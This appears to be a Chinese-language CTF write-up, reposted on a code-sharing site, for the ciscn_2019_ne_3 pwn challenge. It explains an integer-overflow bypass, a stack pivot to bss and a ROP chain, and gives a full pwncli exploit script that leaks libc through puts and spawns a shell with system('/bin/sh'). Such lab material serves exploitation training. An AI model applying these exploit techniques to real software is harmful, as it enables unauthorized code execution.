ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[BUUCTF] ciscn_2019_ne_3

2021-10-16 13:02:06  阅读:255  来源: 互联网

标签:BUUCTF ciscn puts buffer libc read 2019 rop addr


ciscn_2019_ne_3

总结

一道很无语的rop的题目,由于在puts调用中会卡在[ebp - 0x46c]这样的语句,所以只能把栈往抬高,避免访问到不可写的内存区域。

  • 如果题目给的rop很短,那么需要想办法调用read写入更长的rop
  • 必要的时候需要把栈抬高,避免在函数调用过程中,让不可写的内存写入了东西,直接core dump
  • call的时候会放置下一条指令到esp,但如果直接覆写了esp,那么还是可以继续劫持程序流

题目分析

checksec

很久没碰到32位的题目了,环境为libc-2.27.so

image-20210912160406760

函数分析

最开始的时候,IDA无法识别函数。只需要在__printf_chk这个函数上按下Y,修改函数签名为int __printf_chk(int, const char*, ...);即可

流程很简单,先往bss段上写数据,然后有整数溢出和栈溢出:

image-20210912160631922

image-20210912160709015

刚开始以为是很简单的栈溢出,后来瞅了眼main函数退出的时候的汇编,发现栈直接被改变了:

image-20210912160859021

这里的esp来自于ecx,而ecx可控。没有地址泄露,所以只能往bss段搞栈迁移。

所以一开始直接准备:

  • puts泄露地址
  • 重新执行main
  • 再次rop执行system(/bin/sh)

然而事情,并没有那么简单,在调用puts的时候,由于栈太低了,会往更低处的不可写的区域赋值,程序直接GG。然后想改成__printf_chk,也遇到了类似的问题。

所以只能找一下read函数,然后重新写一段长的rop,并把栈抬到高处,再进行泄露和利用。

在输入passwd长度的时候,只能写入0x10个字节。去掉要转化为负数的-1\x00\x00,只剩12个字节可以操作。如果直接rop,由于read3个参数,所以至少需要0x14的大小,很显然这里不够。所以只能利用程序中的call read这样的汇编执令来缩小rop的长度。

我们必须要控制的参数有read的第二个和第三个参数,指明往bss段写和写的大小。那么第一个参数fd就没法控制,好在程序中就有,如下图:

image-20210912161735548

有一个push 0,省了不少事情。

因此,最终的解题思路为:

  • 将栈迁移到bss

  • ropbuf区域写更长的rop

  • 将栈抬高

  • 执行puts泄露地址

  • 再次执行read读入rop

  • 执行system(/bin/sh)

这里还是不能回到main函数,还是会出现往非法内存区域写入的操作。索性直接再次读入rop,然后刚好esp也在bss段上,所以可控制执行system(/bin/sh)

Exp

#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = ELF('libc-2.27-32bit.so')

"""
输入负数即可绕过校验
之后进行rop
"""
buffer_addr = 0x0804A060
puts_addr = 0x8048490
puts_got_addr = 0x804A01C
main_addr = 0x80486ea

read_addr = 0x8048460

p.sendafter("Now, Challenger, What's name?\n:", "aaaaaa")
p.sendafter("Please set the length of password: ", b"-1\x00\x00"+p32(0x8048793)+p32(buffer_addr)+p32(0xf00))

p.sendlineafter(":", flat("a"*72, 
buffer_addr+8, # ecx
0, #ebx
0, # edi
buffer_addr + 0xf00, # ebp
))

sleep(1)
payload = flat({
    0:[0x080487B3, buffer_addr+0x500, 0, 0, buffer_addr+0xf00],
    0x500-4: [puts_addr, 0x08048431, puts_got_addr, read_addr, 0, 0, buffer_addr, 0xf00]
}, filler="\x00")

p.send(payload)

msg = p.recvuntil("\xf7")

libc_base_addr = u32(msg[-4:]) - libc.sym['puts']
log_libc_base_addr(libc_base_addr)
libc.address = libc_base_addr

sleep(1)

p.send(flat("/bin/sh\x00", cyclic(0x4ec-8), libc.sym['system'], 0, buffer_addr))

p.interactive()

栈迁移:

image-20210912162318146

泄露地址:

image-20210912162424638

第二次read

image-20210912162453753

shell

image-20210912162712826

远程打:

image-20210912162150712

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

标签:BUUCTF,ciscn,puts,buffer,libc,read,2019,rop,addr
来源: https://www.cnblogs.com/LynneHuan/p/15413894.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有